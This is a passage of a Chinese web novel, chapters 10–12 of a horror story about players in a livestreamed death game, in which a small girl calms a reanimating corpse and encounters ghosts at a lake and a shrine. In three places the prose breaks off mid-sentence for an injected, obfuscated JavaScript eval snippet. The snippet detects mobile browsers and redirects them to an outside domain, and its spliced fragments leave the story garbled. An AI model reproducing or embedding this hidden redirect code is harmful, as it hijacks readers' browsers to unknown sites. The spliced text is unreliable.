李大爷带着他们走上了一条曲折的小路。 小路有很多分岔路口,如果不是有本地人带着,很难走。 王密的身体分量不轻,几人推车都推得有些艰难。 前方李大爷的声音响起:“都跟好了,不然啊,容易迷路。这里玄乎得很,要是迷了路,说不准就再也回不来喽。” 他尾音沉沉,在小雨中带了些鬼魅色彩,让人心里忍不住发毛。 【所以那四个人是因为没有人带路,迷路了,所以才遇到鬼打墙的吧?】 “大爷那你慢点!”林小楠忙说,“这鬼地方,谁来了不迷路啊。” 明澄捧着苹果,大眼睛望了望四周:“我来过这里。” 正往周边观察的几人一顿,不约而同看向她。 徐望舒追问:“你是从这山上下去的?” 【?骗人的吧?她一个人,平安无事地下来了??反倒四个成年人死了?】 【怎么可能啊!】 明澄没觉得有什么奇怪的,点了点头,“垃圾就是在这里捡的。” 口袋里的娃娃眼睛忽明忽暗。 他们半信半疑。 像她这个年纪的孩子,真的能记得走过的路? 林小楠嘀咕:“如果是真的,那你还真是,福大命大。” 已经行至半山腰了,推车的人轮换了两批,众人央求李大爷停下来休息。 林小楠被叫过来是因为他个子高大壮硕,又年轻,结果反倒是里头最不撑用的一个,没走几步就气喘吁吁。 再看最小的明澄都脸不红气不喘的,他挠了挠脸颊,羞愧地跟在板车边上。 衣服好像被什么东西拽了一下。 他扇了扇风,将衣服扯回来。 又被拽了一下。 林小楠察觉不对,缓缓回过头看去。 五只深黑的长指甲勾住了他的衣服下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207431|181291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆。 林小楠“嗷”的一声跳出了两米高。 “怎么了?” “诈诈诈尸了!” 众人看过去,这才发现棉被下竟伸出了一只手,或者说是爪更为恰当。 距离王密的死亡明明根本没过多久,他的指甲居然少说长了三公分,且漆黑无比。 刚才搬运的时候他蜷缩着身体,所以无人察觉。 而现在,那指甲无知无觉间伸出了被子。 林小楠快要被吓哭了,要不是他发现得早,说不准那指甲已经刺破他的皮肤了,“我不会感染什么尸毒吧?” 这时候没人说他聒噪了,毕竟谁遇到这种事都很倒霉。 “不能歇了,咱们得快点了。”邬纵沉声说。 “好好快走吧。” 刚要走,车上传来了几道咔咔声。 众人警觉地望过去,看到明澄小小的身躯趴在板车上。 他们睁大了眼:“明澄!” 明澄抬起头,平安无事。 张立新诧异:“你在干什么?” 刚问完,就看到了明澄手里的指甲剪。 “叔叔伸手,叔叔想剪指甲。” 【……天才。】 【也是幸好王密还没完全尸变,不然能挠她一脸血。】 沉默间,明澄已经干脆利落地剪完了两只手的指甲。 怀着难言的心情,众人继续上路。 林小楠偷偷向明澄要来了那把指甲剪,看了看,好奇:“这指甲剪你是从哪儿拿的,总感觉好像比我用过的都要锋利厚实很多。” 明澄老实答:“从幼儿园里带来的。” 他没信,现实里的东西根本带不进游戏,只觉得是明澄年纪小,混淆了,便没追问。 但刚才的恐惧倒是奇异地被明澄治愈了,力气也回来了,自告奋勇在后头推车。 要是王密的指甲继续长,他也用指甲刀给他剪掉。 林小楠冷笑一声,看向板车里。 下一秒,腿又软了—— “他他他的牙!” 众人再度望去,只见被子不知何时褪下一半,露出了一张狰狞的脸。 王密的嘴微微张开,里头居然长出了一对尖牙,而上方,那双原本因惊恐睁大的眼睛里,流露出了阴狠的怨毒。 这种怨毒的眼神沿着每个人转了一圈,像是要投下一种诅咒。 被看到的人都不寒而栗。 转到明澄时,她歪了歪头。 下一秒,一只苹果塞进了他嘴里。 “叔叔张嘴,叔叔饿了。” 王密原本只是微张的嘴被她这么一塞,被迫张全了,他们甚至隐约听到了下巴处传来的咔吧声。 那对尖牙更是死死卡住苹果,动弹不得。 林小楠面色复杂,“突然觉得尸变也不那么可怕了。” 【不行了,王密这个样子,总让我想到他们西方那种嘴里塞着苹果的烤乳猪。】 【在被吓到和被笑到之间反复横跳,就突然觉得这种恐怖副本挺需要明澄的。】 【这苹果看她盘一路了,好像自己都舍不得吃……是真把王密当知己了吧。】 “走吧。”邬纵轻咳一声说。 众人纷纷低着头,一阵沉默地行动着,不敢去看尸体。 刚才不敢看是因为害怕,现在也是因为害怕,害怕笑出来。 李大爷没管他们后头的事,只是在最前面带着路。 终于,他停下来了。 “就埋这儿吧。” 邬纵他们看过去,远处可见一座座坟包,有的坟上建着小房子,间隔不远。 “他是外来人,不能跟我们村的人葬在一起。”李大爷解释。 “没事,离得远正好。”要是近了,在坟堆环抱的地方挖土,那才可怕呢。 李大爷指完地方,摆摆手:“我去抽根烟,一会儿回来接你们。” 说完就走了。 众人一起拿着铁锹开动,不一会儿就挖出了坑。 用草席和棉被将尸体裹好,下了葬,填好土,条件简陋,也只能先这样了。 在游戏中死亡,现实中身体不会消失,而是会在游戏结束的时候返还尸体,所以这里的安葬不那么重要。 几人喃喃:“你要实在憋屈,等回头有条件了,我们去村里找找能不能给你换口棺材,现在你就先安息吧。” 然而话刚说完,土堆动了一下。 几人立时吓了一跳,要不是邬纵站在前面,几乎要转头逃跑了。 “怎么办,看来我们说的话他根本就不认!还是在尸变!” 明澄拧着小眉头,主动走过去:“那让我试试,我跟叔叔有默契。” 她走到坟头,学着他们轻声说:“叔叔,你安息吧。” 土堆停了一下。 然后动得比刚才更厉害了。 明澄扭头:“叔叔他好像睡不着。” 那动静大得仿佛下一秒就要出土,土中已经隐约可见几根手指—— 下葬的时候尸体明明是横着的,现在更像是站了起来,想要扒开土跳出来。 徐望舒立即将明澄拉了回来。 “完了完了真诈尸了!” 惊慌失措的普通玩家们大都没了主意,扭头就跑。 邬纵几人连忙拦住。 蒋明野抓着一人的衣领,额角跳动:“不许乱跑!” “姓李的说过,这里如果没有人带领,很容易走丢,这是副本给出的提示,一旦走丢,大概率会遇到更危险的东西,至少现在这里,还只有王密!” 徐望舒也高声喝止他们乱跑:“就算王密真的爬出来,只需要扛到李大爷回来就可以,这并不难!” 现在不能再死更多人了,绝不能让他们跑开。 那边兵荒马乱,明澄独自一人走到了坟前。 坟堆仍在剧烈晃动,刚才露出的还只是几根指尖,现在,一整只手爪连着胳膊都露了出来,伸得长长的,漆黑的指甲泛着不祥气息。 也就在她靠近蹲下的瞬间,那只手爪猛然抓住了她的脚踝! 【完蛋了。】 沾着黄泥的手不再挣扎出土,而是狠狠地抓紧了,用着仿佛要将那小小的脚踝折断的力气,一点点将上面的人用力往土里拽。 满怀着怨恨与恶毒,地下的尸体无声地嘶吼、尖笑:就这么跟我一起,下——地——狱——吧! 片刻过去。 明澄纹丝不动。 “……?” 她低头看了看那只抓着她死死不放的手,眼眶微红: “叔叔,你也很舍不得我吧。” “……” 爪子松开了。 10. 第 10 章 混乱的多个直播间偶尔将明澄的动向录入,观众们从碎片里拼凑出了完整的荒谬的景象。 【?她就说了这么一句话,王密那只手居然就松开了??不是,她到底给王密带来了多大的心理阴影?】 【能不大吗,从土里伸手的时候估计那大苹果还在嘴里卡着呢。】 明澄并没有意识到这一点。 她直接反手就握住了那只尖利的爪子,目光坚定:“叔叔,你放心,我会常来看你的!” 跟刚才的王密一样,她也握得紧紧的。 那只手爪用力挣扎着,却怎么也挣不开。 身后,徐望舒一错眼就发现明澄正蹲在坟堆边。 放眼望去,她的手好似正被王密紧紧纠缠住,无法脱身,并且两只手之间还展开了激烈的角斗,心中一惊:“糟了!” 他立即飞奔了过来:“明澄!” 明澄扭过头看去,手也随之转了个角度,接着,耳边隐约听到了咔吧一声。 她茫然地松开了手。 那只爪子便彻底地缩回土里去了,一秒后又伸上来另一只手扒拉了一下土,把弄出来的洞给填上了。 【第一次见到鬼怕玩家……难道说是因为由玩家变成的鬼特别弱?】 【也不知道是不是我的错觉,我总感觉那只手是不是骨折了……应该是错觉吧?】 明澄看向徐望舒,他已经到了跟前,急切询问:“你怎么样?没事吧!” 【有事的另有其人。】 明澄摇摇头,欣喜地指了指坟堆:“叔叔他安息了。” 徐望舒看过去,果然,坟堆里头再无任何动静。 他怪异地看了明澄一眼。 总觉得王密的突然安静与她脱不了干系,“明澄,刚才发生了什么?” “叔叔是因为舍不得我才睡不着的,然后我跟他说了一会儿话,友好地握了握手,他就安息了。” 【王密嘴里堵着苹果说不了话,谁来为王密发声?】 徐望舒觉得有哪里不对劲,但又不知道是哪里不对劲。 只是看着眼前土块簌簌落下,东倒西歪的坟堆,他拿起铁锹,重新理了理,坟堆重新拥有了完美的尖顶。 身后,逐渐注意到王密没有再闹什么尸变,普通玩家们总算都冷静了下来。 【这批普通玩家的素质也太差了吧,真的没想到还不如一个小孩子冷静,要不是邬纵他们及时拦住,估计早就死完了。】 【看小尼姑轻轻松松就搞定的样子,说明王密的尸变根本不足为惧啊,他们纯粹是因为无谓的害怕而自乱阵脚了。】 【越来越觉得明澄挺好的。】 【不觉得,你们没发现吗,她对危险的感知力好像非常差,比如刚才就直接朝着坟堆过去了,可能是因为年纪小,没概念吧,现在也就是遇到王密了,要是以后遇到真的危险了怎么办?也直接往上冲?那不是送死?】 就在这时,李大爷背着手,踱步回来了。 他扫了一眼众人,“人已经埋好了吧?” “好了好了。” “行,那咱们就回去吧。” 哪怕几人看上去一副惊魂未定的模样,他也没有过问。 得益于负重减轻,下山的路比来时要好走得多。 明澄自认为与王密好好告了别,路上欢欣鼓舞。 口袋里,娃娃随着她的跳跃而晃动着,眼睛愈发漆黑。 下一秒,明澄的视线里好像突然出现了一块石头,她一个急刹,自己倒是没事,只是躲避时,娃娃不小心从口袋里掉了出去,滚了一阵。 她忙追上去,就见娃娃停在了一处荆棘丛里。 最初捡到娃娃时,她的斗篷上就有个洞,现在荆棘枝穿过小洞,将她倒挂了起来。 她脸上,豆粒大的眼里黑红交加,黑色的长发随着风舞动。 “明澄!不要乱跑!” “来啦!”明澄应了声,随后将娃娃摘下来放回口袋,重新跑了回去。 只花了来时一半的时间,一行人就回到了李大爷家。 出去打探消息的另一拨人也已经回来了。 见埋尸的队伍一脸疲惫的模样,他们连忙数了数人数,发现一个都没少,有些惊讶:“你们那边还顺利吗?” “一言难尽,算是不顺利,但最后又挺顺利的。” 林小楠道:“不过老实说,这回真是多亏了有明澄在。” “她?”他们难掩诧异。 林小楠绘声绘色地跟他们讲了这一路上王密的尸变情况,“我运气最差,要不是明澄,说不定就搭进去了。” 几人咋舌,“剪指甲,塞苹果?” 换成他们,哪怕能想到可以这么做,多半也没那个胆量。 “还真是初生牛犊不怕虎。” “你们呢?有问到什么吗?” 陈州正色:“这个村子里的人很少,别看小楼造得整整齐齐,但我们走访了好几家,都是空的。” “剩下的几家里,当初切身从饥荒年代过来的老一辈都已经不在了,论起来,到现在最清楚当时情况的,好像就只有李晓阳他爸了。” “稍微年轻一些的都不太清楚,就跟李晓阳一样,只是模模糊糊有点记忆,唯一的印象就是觉得那年月很可怕。” 陈州抬眼:“还有,当年李晓阳他爸还是南湾村的村长,这一点他倒是没跟我们提起过。” 徐望舒:“也就是说,了解当年饥荒情况的人,如今就只剩下李大爷一个了。” “可是饥荒是二十多年前的事情,说久也不久,再怎么也不应该只剩他还活着吧。” 蒋明野淡声说:“那些人的死有问题。” 李晓阳推开房门走了出来,恹恹地看了他们一眼,“爸,都几点了!怎么还不做饭?” 李大爷从厨房探出头来:“这不是正做着呢嘛,急什么。” “饿死了!” 喊了一声后,李晓阳独自走到了餐桌边,发了会儿呆,接着又开始焦躁地啃起了指甲。 明明昨天刚回到家时还心平气和的李晓阳,似乎变得暴躁了。 咬着咬着,他看了眼外面的天,平静了下来。 邬纵也望向了外头,没什么特别的,只是雨已经停了。 明澄一路小跑回到了房间里。 她将兜里的娃娃掏出来,仔细打量着破洞的地方。 看着看着,脖子突然有点痒,明澄随手挠了挠脖子。 在她身后,一缕细细长长的头发逐渐朝她的脖颈靠近。 明澄聚精会神地比划着什么。 一圈,两圈,头发松松地绕上了那截白玉般的脖颈。 明澄将娃娃放下,突然掏出了针线,挑出其中最好看的颜色,将长长的线折成两截,穿入针孔。 脖颈上的头发徐徐收紧。 针线穿入破损的地方,开始在布料上时隐时现。 脖子上的头发停止了动作。 明澄抿着唇,微微扬起,“缝好了。” 原本破洞的位置,多了针脚细密的几个线圈,构成了一个苹果的形状。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207432|181291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将娃娃拿远了看了看。 娃娃便也用黑洞洞的眼睛盯着她看。 确认缝得没问题了,明澄将尾线剪断。 绕在她脖颈上的头发悄无声息地断开,消失了。 听到外头喊着吃饭了,明澄眼睛一亮,将娃娃重新放到了床头,几乎是飞了出去。 桌上比昨天少了一个人,但又似乎没有多大区别。 下午,李大爷和李晓阳要去给结婚的亲戚家帮忙。 几个普通玩家经历了同伴的猝死和尸变,身心俱疲,选择各自回房休息。邬纵几个特殊小队的人则另外聚在一起,商量接下来的行动。 这一天,电依旧没来,不过有发电机,日常生活还可以维续。 到了晚上的休息时间,明澄依旧不愿意让邬纵他们陪在旁边,用的还是那套说辞。 思及那个娃娃虽然诡异,但到现在也没有真正伤害过明澄,在一番交待之后,他们没再勉强。 睡前,徐望舒去看了看明澄。 月光下,她乖乖地躺在床上,两只小手压在被子上,长长的睫毛微微颤动,乖巧得像个瓷娃娃。 他轻声问:“明澄睡着了吗?” “嗯嗯睡着了。” 他笑了笑,“晚安。” 随后关了门出去。 透过窗外看,这个晚上没有下雨。 徐望舒回到了房间。 蒋明野和邬纵已经在他的房里候着。 进门后,徐望舒没有将门关上,留了一条缝。 房间里静谧无声。 就这样不知道过了多久,外头传来了轻微的开门声。 二楼,安静躺着的明澄耳朵动了动。 她听到同楼层的一扇门打开了,接着是轻轻的脚步声。 然后,又一扇门开了。 先前出来的那人走进了门。 一楼,脚步声响起。 三人屏住呼吸,视线不着痕迹投向门外。 李晓阳出来了。 他左右看了看,视线在楼梯方向及不可见地一顿,接着泰然自若地去了厨房。 等出来时,手里多了个馒头。 再然后,他便回到了房间,没有再出来。 明澄闭着眼,门外声音的方位在脑子里清晰可见。 出门的人应该是……林小楠叔叔,给他开门的,是张立新叔叔。 同一时间,异调局内,急促的汇报声在方闻英耳边响起—— “局长!刚才收到市一院的消息!他们今晚接收了一个自杀的市民,自杀时间在昨天,送到医院的时候就已经死亡,可问题是,他们在核实身份的时候发现……这人居然是一个明明已经进入了游戏的玩家!” “也就是说——” 方闻英徐徐抬头,深深看向直播屏幕:“现在出现在游戏里的那个,不是他。” 犹如一道晴天霹雳打下。 屏幕前,一张张脸上全都布满了阴云。 “以前从来没有发生过这种情况!系统是故意的!玩家匹配模式里居然还藏着陷阱!” “内部混入一个鬼,已经是地狱模式了,玩家的实际数量也需要减去一个人,那条死亡人数线不是八个,而是七个!可他们还根本不知道!” 看着房间内正独处的两人,他们闭上了眼。 “已经死了五个人了,现在……” “邬纵他们还在关注李晓阳,来不及了……” 方闻英抬起头:“等会儿!那是——” “是明澄!明澄怎么走出房间了!” 11. 第 11 章 一楼。 蒋明野摇了摇头,“守不到了,今晚李晓阳不会再出来了。” “不过这么看来,他确实有秘密。他应该有一件事情,必须要在晚上做。” 几人对视一眼,悄无声息散开。 邬纵上了楼,突然停下脚步。 楼梯口,明澄正光着双脚站在那儿,表情看上去有些犹豫。 “明澄?你在这儿干什么?” 明澄看了看他:“我……” “我听到林小楠叔叔去找张立新叔叔了。” 邬纵眯起眼,心中有种奇怪的感觉。 明澄的手绞在一起,快要拧成了麻花,小声说:“我听到他说了吃,我就是,想知道他们要偷偷吃什么好吃的。” 她声音越说越小。 “咳。”邬纵没再纠结,直接上前,走到了张立新房间门口。 门并没有锁上,一推就开了。 月光下,张立新背对着他们,正在包里翻找着什么。 而林小楠则站在他身后的阴影处,缓缓朝他探过头去。 听到开门的动静,两人都扭过头来。 见到来人,张立新不解:“邬队长,还有,明澄?你们怎么来了?” “这个时间不睡觉,你们在干什么?”邬纵淡声问。 他茫然解释道:“哦,小楠晚上给我发消息,说他半夜突然肚子疼,疼得实在受不了了,想起来刚来这里的时候我提过一嘴,我这个角色的包里随身带着各种药,所以过来找我拿药吃呢。” 明澄扬起期待的小脸蛋:“吃药?” “你肚子疼?”邬纵问林小楠。 他看上去面色如常,没什么异样。 他揉了揉肚子,不好意思地看着他们:“刚才是特别疼,不过后来渐渐好了。” 而张立新已经找到药了,交给他。 邬纵颔首:“我那里也有药,以后你可以找我,晚上还是尽量不要出来了,不安全。” “好嘞。”林小楠点了点头,挥挥盒子:“谢啦立新。” 随后林小楠回到了自己的房间。 直播屏幕前发出了此起彼伏的松气声。 “谢天谢地,多亏了有明澄!” “感谢明澄!!” 邬纵把嘟嘟囔囔的明澄拎回了床上,“睡吧。” 他平时面容严峻,明澄跟他其实不那么亲近,此刻却直直地看着他好久。 他察觉了,“怎么了?” 白煮蛋的下半张脸捂在被子里,大眼睛望着他,吞吞吐吐,“叔叔。” 邬纵静静等待。 “药好吃吗?” 邬纵一顿,不字在舌尖打了个转,“好吃。” 明澄眼睛一亮。 “不过只有得病的时候才能吃。” 来到副本的第二夜,平安度过。 白天到来,所有玩家聚在一起,确认没有少人,齐齐松了口气。 李晓阳从房间里走了出来,正好听到他们说了句今天要去哪里,哼了声。 “朋友都死了,还在这儿赖着。”他看着他们,语气恶劣。 赵明明小声反驳:“那你老婆一直不接电话,也没见你去找过啊。” 李晓阳听到了。 他胸腔再次震动,犹如老式风箱发出呼哒呼哒的声响,接着开始胀大,猛然抬起头,瞪大的双眼狠狠地看向赵明明。 这么一瞪,露出了眼白里密布的红血丝,眼袋浮肿,像是很久没睡过觉了,夹杂着疯狂的怨怼与狠毒。 赵明明被吓得说不出话。 李晓阳的脾气比起昨天,变得更差了。 就在他伸手钳住赵明明脖子的那一刻—— “晓阳?堵在这儿干什么呢?” 李大爷一声叫唤,让李晓阳恢复了理智,“随便你们。”随后就离开了。 赵明明身份是游客,还是第一次见到李晓阳生气时的模样。 瘫坐在地上,他抹了把脸:“吓死我了,我都怀疑他能当场掐死我。” 相比李晓阳,李大爷好像就过分心大了,还按照原定行程,安排了他们去湖边钓鱼。 出门时,徐望舒跟他闲聊:“伯父,听说您以前还是村长?怎么没跟我们说过。” 李大爷一顿,“唉,是啊,不过好汉不提当年勇。” “现在是卸任了吗?” 他吸了口烟,目光有些黯淡:“没错,老了。” “那现在的村长是?” 他无奈地笑了笑,“在我之后的村长啊,都死了。所以现在,已经没人去当这个村长了。” 众人一顿。 “我虽然不是村长了,不过也想为村子多发展发展经济,以前还想过搞养殖,喏,就这片湖,可惜没成功,这不才试水搞了农家乐。” 个子矮小,淹没在大人们之中的明澄突然开口:“爷爷,我在幼儿园里学过淡水养殖,如果需要的话,可以给你一些建议。” 众人刚才紧绷的心情一松,再看她一本正经的模样,全都笑了。 明澄正不明所以,头就被摸了摸,“明澄还是很有用的,简直就是我们的开心果。” 李大爷在湖边安顿好他们,就离开了。 几人敛起笑。 陈州道:“我早上看到村里的祠堂门开了,可能是因为婚礼在即。村里那些人的死因,说不定能在祠堂里找到一些线索。” 邬纵点点头,“现在就去。” 于是一部分人留在湖边,另一部分人去了祠堂。 今天早上又下了点雨,地上湿漉漉的。 一只油光水亮的黑猫蹲在湖边,幽幽的眸子盯着水面看。 明澄打算观察观察这座湖的水质,再看看这里的渔业资源,选了个地方坐下。 旁边,蒋明野上下抛动着打火机。 明澄坐在小板凳上看他,板着脸:“叔叔,不可以抽烟。” 他挑眉,笑了一声:“是谁先来的?” 明澄瞬间泄了气,一手拎着小板凳,肩头扛着小水桶和钓竿,走远了些。 然而刚选好位子坐下,那道高大的身影又出现在旁边。 她抬头去看,蒋明野只是悠闲地看着湖面,好像是巧合。 她搬着小板凳,继续往旁边挪。 蒋明野继续跟着。 直到挪了快有百来米了,她噘着嘴,眼眶发红了,蒋明野才放弃跟随,悠然地钓起自己的鱼。 明澄的鱼竿纯粹只是根竹竿子,没有鱼钩,更不可能钓得上鱼。 但她也还是像模像样地甩钩,静静等待着。 林小楠搭着赵明明的肩,眯起眼,看着远处背对着他们的蒋明野和明澄,喃喃:“真羡慕明澄啊。” 赵明明:“羡慕她什么?” “你看蒋明野什么时候给过我们好脸色。特殊小队里头的几个人,我最怕他。” 旁边的张立新笑出了声:“那你怎么不跟邬纵他们去祠堂。” “我才不去祠堂呢,那种地方,一听就很危险。” 赵明明摇了摇头,“蒋明野那叫什么好脸色,就是闲得无聊逗逗她。她一个小丫头片子,有什么好羡慕的。” “怎么,你不喜欢她?” 他嚼吧了一下,“也不算不喜欢吧,毕竟人还是挺可爱的。就是,你们看看,她现在还需要人看着、照顾着,等有危险了,不像我们之间还能搭把手。好比今天,李晓阳要是真掐我,你们还能帮忙挡挡,她能干什么?一甩就飞出去了。” “倒也是。” 说着说着,湖边的水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207433|181291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草丛里多了条搁浅的鱼,还在挣扎,看上去新鲜肥美。 张立新伸手指了指。 赵明明立刻摇头:“别去。你没听说过啊,这种鱼不能捉,引路鱼,回头把你引到阴曹地府。” 说笑完,三人继续盯着鱼竿。 那头,蒋明野的鱼竿动了。 他利落提竿,一条小鱼果然跃出水面。 然而下一秒,一道黑色影子一跃而起,自半空中叼起了那条鱼。 是刚才那只黑猫,悄无声息跟着他们来到了这边。 他“啧”了一声,视线扫过去。 黑猫肆无忌惮撕扯着鱼,场景瞬间便血肉淋漓。 蒋明野反手挡住了明澄的眼睛。 突然,他视线一顿。 血肉间,隐约可见一截细长的手指头在鱼肚子里翻搅。 黑猫察觉他要过来,连着那根手指头,叼着鱼轻巧地转身跑了。 蒋明野按着明澄的头:“待在这儿别动!” 说完便跟着猫追了过去。 明澄茫然地看着他离去的背影,又看了看自己毫无动静的鱼竿。 “啪嗒。” 赵明明的鱼竿动了。 他兴奋地眉眼一扬:“有鱼上钩了,这分量,还是条大鱼!” 说完,他正要提竿,视线突然在水里定住:“咦,那是……鱼吗?” 水里隐约透出一片黑,然后是白花花的—— 正要细看,赵明明突然感到后背传来一股力量,接着脚下一滑,整个人滚了出去。 等再睁开眼,已经在湖里。 而刚才那些黑的白的的东西,他也看清楚了。 头发,好多头发,密密麻麻缠绕在钩子上。 而与那大团大团的头发相连的,是白色浮肿的皮肉。 他刚才钓到的,竟是一颗女人的头。 接着,那颗头,缓缓转了过来。 赵明明的呼吸一窒,在极致的恐惧与压力下完全无法动弹,大脑开始缺氧。 蒋明野!林小楠!张立新!李久呢!为什么还没有人过来!! 到底谁能来救救他啊…… 明澄擦了擦头上的水珠,在湖的另一边端坐着。 突然,余光里有条鱼出现在了浅滩上,看起来还是活着的。 明澄眼睛一亮,顺着鱼走了过去,可鱼又漂远了。 她耐心地又走近了一点,鱼却也更远了些。 正想继续走下去,口袋里的娃娃好像在发热。 她掏出来看了看,娃娃的黑豆眼盯着她。 “你想告诉我什么?” 发丝在风中左右摆动。 “不要?” “不要下水吗?” 发丝停了下来。 明澄沉思一秒,“明白了,那你就留在这里吧。” “……” 她将娃娃放在板凳上,然后捋起了袖子和裤腿,继续下水。 渐渐的,她大半个身子都在水底下了。 这一回,鱼终于没有再逃离了。 一只小手刚要碰到鱼,鱼却突然在水面没了踪迹。 下一秒,明澄的腿被什么东西绑住,一个用力,她便头重脚轻被拖入了湖中。 等睁开眼,面前骤然浮现一张惨白浮肿的人脸。 一双发黑的眼睛也紧紧盯着她,嘴唇微微张着,带着诡异的弧度。 她像是在说话,可明澄却什么字都听不清。 就在这时,那张苍白的脸诡笑着,朝她贴了过来。 明澄环顾四周,刚才见到的那条鱼已经消失了,不仅如此,旁边连一条鱼也见不到了。 看着对面贴过来的脸,她犹豫再三,还是没忍住问: “阿姨,你是来偷鱼的吗?” 12. 第 12 章 明澄话落,那张浮肿的面孔肉眼可见地僵硬了一下。 随即一双黑洞洞的眼睛睁大了,长发骤然卷成绳索模样朝她袭来。 然而就在这时,那脸好像看到了什么东西,停下了动作。 明澄转过头,看到了自己原本放在凳子上的娃娃,不知为何也落入了水。 明明没什么重量,遇水后竟不是浮起,而是沉了下来。 那张人脸与娃娃对峙了一会儿,突然转身离去,消失了。 同一片湖里,赵明明的意识正逐渐模糊。 对面的头颅上,一对空洞的眼孔盯着他。 他想要蹬腿,想要逃离,然而身体却越来越沉。 慢半拍地感到那团头发将他包裹了起来,接着,厚厚的头发塞进了他的嘴巴,眼眶,鼻孔,耳朵。 滑腻,湿冷的触感,蔓延至他的喉咙,他的食道,他的胃。 好撑啊…… 赵明明撑得翻着白眼,灵魂好似脱出了躯壳。 意识消散的前一秒,他看见远处有道小小的身影朝他游来。 那是他没放在心上的…… “这里好像没人。” 祠堂里,话音在空旷的高堂内回响。 玩家们迈入门槛,第一眼便看见桌上高高低低摆着许多牌位。 南湾村别名李家村,这里住着的大多是李家人。 牌位不大,字也很小,章书拿起最底下的一个牌子想看看名字确认一下,触手后却嫌恶地皱起了眉。 那黑色木牌像贴着一层油脂,黏腻,胶着,他满手都不舒服。 “是有人成天在祠堂开火做饭吗这是,好家伙,油成这样,多少年没擦了。”他吐槽,“还有股味儿。” 这油脂拿纸还擦不干净,无奈之下,他只好问:“哪儿有水啊?” “祠堂后面好像有口井,我刚才看见的。”孙天回他。 章书绕过那一堆牌位,来到了祠堂的后院。 这儿果然有口井,水井的旁边还有一只空水桶。 刚下过雨,井里的水位不低。 他小心地离远了些,尝试着用水桶抛下水井,然后稍稍探下身去,将浸满水的桶拉上来。 井里凉涔涔的,让他心里有些发毛,于是使了点劲,加快了动作。 他紧盯着井里,生怕突然伸出什么手把他给拽下井去。 不过并没有,他顺利地打上了水,井里也没有发生什么异常。 章书松了口气。 看了眼脏污的手,他表情皱起,两手伸进水桶里,急急地拢起一捧水。 手心里,一张人脸张开鲜红的唇冲他笑。 “啊!” 一声尖叫响彻整个后院。 屋中几人听到叫声,连忙也赶了过来。 就见章书跌坐在地上,惊慌失措地指着水井,而水井的旁边,还有一只打翻了的水桶。 刚接上来的水流了满地,渐渐渗入泥土与青苔中。 “发生什么事了?” 在孙天的搀扶下,章书两股战战站了起来,“我刚才,从井里打上来一桶水,然后看到里头有张脸!” 邬纵向井里望去,此时里面自然只有水,没有什么脸。 孙天安慰:“别怕,现在安全了。” “咱们出去吧,别在后院待了。” 邬纵最后一个走。 临走前,他回头看了看,后院的门半开,其后是一条小路。 小路蜿蜒曲折,是条上山的路。 回到了前边,章书憋着的那口气才总算是缓过来了。 “刚才可真是吓死我了,当时动都动不了。” 徐望舒:“等习惯吧,在这里待的时间越久,这样的情况会越来越多,习惯了,就不会动不了了。” 下一秒,队伍里一个玩家低低地叫了一声:“靠!” “又怎么了?” “那边角落里有个老头在盯着我们,你们能看到吗?不会只有我能看到吧?又是一个鬼?”他话里带着颤音,不敢眨眼。 黑暗中,他看到了一双眼睛。 眼睛的主人脸上,黝黑的皮肤松垮地贴着骨头,一圈圈皱起的纹路一直延伸到脖颈,就像那棵老槐树皮上的裂纹。 看到的不止是他。 邬纵拍了下他的肩,“不是鬼,是人。” “大爷?” 那人躬着背,慢吞吞走了过来,到了光亮下,看得更清楚了,确实是个老人。 “他看上去可比李晓阳他爸年纪大得多。” 陈州低声说:“之前走访村民的时候没见过他,可能就住在祠堂里?” 徐望舒亲切地笑:“大爷,请问您是?” 他嗓音沙哑,话头在喉咙里含混不清:“管祠堂的。” “我们是游客,对这里比较好奇,能看看您这儿的族谱吗?” “看呗。” 随后他转过身去,等再回来时,手里就多了本不厚不薄的族谱。 邬纵着重找了找在李晓阳他爸之后上任的村长们。 族谱里记载着他们的死亡时间,有的死于七十多岁,有的六十多岁,还有的四十多岁就死了。 死状写得含含糊糊,都说是在上山时遭野兽啃咬而死。 因这个理由死的还不止这几任村长。 李大爷也曾告诫过他们野兽的事,倒是对上了。 可有一点,虽然年龄上没什么通性,但是凡是这种死法的,都是男性。 “大爷,现在当过村长还在世的,只剩下李晓阳他爸了对吧?” “李向生?”老人沉沉吸了口烟,“他活着也不容易。” “那大爷,请问您能跟我们讲讲当年村里饥荒的事吗?听说有棵神奇的槐树?” 老人的脸色隐晦地变了变,随后看了眼后山,回道:“我什么都不知道。” “你们也别再问了。”说完他顿了顿,“早点回家,离开这儿才是正经事。” 随后便转身离开,不再搭理他们。 